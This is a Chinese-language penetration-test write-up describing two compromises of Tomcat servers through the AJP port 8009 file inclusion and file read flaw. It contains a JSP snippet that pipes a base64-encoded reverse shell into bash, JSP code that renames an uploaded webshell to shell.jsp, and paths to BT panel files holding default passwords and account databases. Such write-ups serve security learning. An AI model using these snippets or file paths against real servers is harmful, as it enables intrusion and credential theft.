两次不同的tomcat ajp漏洞 getshell实战
0x00 AJP文件包含到getshell
信息收集:
在20年的一次项目中,信息搜集到了一个官方网站,通过nmap发现其开放了8009端口。
然后首先想到的肯定是寻找文件上传点,通过ajp文件包含getshell。
在确认了上传点可用后,开始了几次尝试,而当时这个漏洞刚刚爆出没多久,大量文章的getshell思路都是通过msf上线,因此进行了一些其他的尝试:
1.通过java的Runtime.getRuntime().exec()进行命令执行。上传脚本如下:
这里的脚本引用自https://www.cnblogs.com/liujizhou/p/13167268.html
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,反弹shell的base64代码}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
然而在先期的测试中,由于不断的进行大量的Runtime.getRuntime().exec()的调用,执行出现了阻塞,在执行了几次ping命令无果后,只能再寻找其他方式getshell。
2.通过java的io文件操作修改文件后缀。最终我选择了这种方法成功getshell:首先通过ueditor上传一个内容是冰蝎马的txt文件。
然后通过文件包含执行java语句修改文件后缀,代码如下:
<%
String Save_Location = getServletContext().getRealPath("/");
java.io.File myFile = new java.io.File(Save_Location+"通过ueditor上传的文件路径");
java.io.File shellFile = new java.io.File(Save_Location+"//shell.jsp");
myFile.renameTo(shellFile);
%>
通过以上的代码,成功上传了一个shell.jsp文件到本次目标的网站根目录下。
最终比较简单的拿下了目标站点,当然主要是运气好遇到了ueditor的未授权文件上传,而第二次再遇到这个ajp漏洞的时候,就没有这么顺利了。
0x01 AJP文件读取配合简陋的代码审计
就在隔日,我又在目标中扫到一个开放了8009端口且测试存在ajp文件读取漏洞的目标。
而这次遇到的是一个后台管理系统,在对登录口的大量测试与爆破之后,都没有什么收获,没能登录进后台进行文件上传,于是只能打起了这个ajp漏洞的主意。
首先在web.xml里面寻找入手点,在翻了一段时间后,发现了一个命名为FileUploadServlet的servlet。
那么接下来自然就是要去获取这个servlet的源码,tomcat的class文件位置为tomcat路径/webapps/WEB-INF/classes/com/platform/fileManipulation/FileUploadServlet.class
通过jadx获取到源码后发现,确实在文件中指明了上传接口的参数mode、path、type、refresh、successMessage,但是经过了一系列的fuzz后,没有成功构造出文件上传的请求包。到这里已经折腾了一上午了,无奈之下再去其他文件中寻找突破口,可惜都没有成功。
当时思路已经乱了,只能想到要么从web.xml入手读取更多的class文件寻找突破口,要么就从已有的class文件的import中继续拓展源码。最后还是选择了再从web.xml中理一遍接口,事情终于出现了转机。
在读取到了这个LogAdminController的代码后,从doPost方法跟进到了moduleDispatch
moduleDispatch方法中包含了调用其他接口的方法,通过cmd参数决定 具体调用哪个接口,而这里FileMainConstant中对参数的声明给了我启发。
似乎mode参数就是local、db、server、efile中的一个?
跟到这里的时候,我就基本肯定了我的答案,并且获得了两个漏洞,任意文件上传和全局的任意文件读取。
可是无奈的事又发生了,这里的path参数需要填入绝对路径,而我翻遍了各个配置文件都没有找到网站的绝对路径
正当发愁的时候,观察到了8888端口的宝塔面板,或许可以借助宝塔的web目录进行文件上传。
在一阵的读文件确认了宝塔的web目录之后,成功上传了webshell,结果又被宝塔的disable_function挡住了去路,也无法读取目录以外的文件及目录,无奈之前再想办法解决宝塔。
配合着之前拿到的任意文件读取,开始用最粗暴的方式解决他。
读取默认密码
C:/BtSoft/panel/data/default.pl
读取授权域名访问
C:/BtSoft\panel\data\domain.conf
找后台入口文件
C:/BtSoft\panel\data\admin_path.pl
最后一步找他的账户,这里就要下载他的db文件。因为账户在db文件里面
C:\BtSoft\panel\data\default.db
最后登录进宝塔面板关闭disable_function,成功getshell。